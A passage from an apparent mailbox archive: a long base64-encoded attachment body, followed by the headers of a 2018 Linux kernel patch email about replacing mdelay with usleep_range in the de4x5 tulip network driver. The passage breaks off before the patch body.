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
ELhCwl3+ANLfC9Fm3wEA

--fdj2RfSjLxBAspz7--


From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jia-Ju Bai <baijiaju1990@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH v2] dec: tulip: de4x5: Replace mdelay with usleep_range in de4x5_hw_init
Date: Wed, 11 Apr 2018 23:39:42 +0800
Lines: 39
Approved: news@gmane.org
Message-ID: <1523461182-5897-1-git-send-email-baijiaju1990@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1523461082 6662 195.159.176.226 (11 Apr 2018 15:38:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Apr 2018 15:38:02 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org, Jia-Ju Bai <baijiaju1990@gmail.com>
To: davem@davemloft.net, stephen@networkplumber.org,
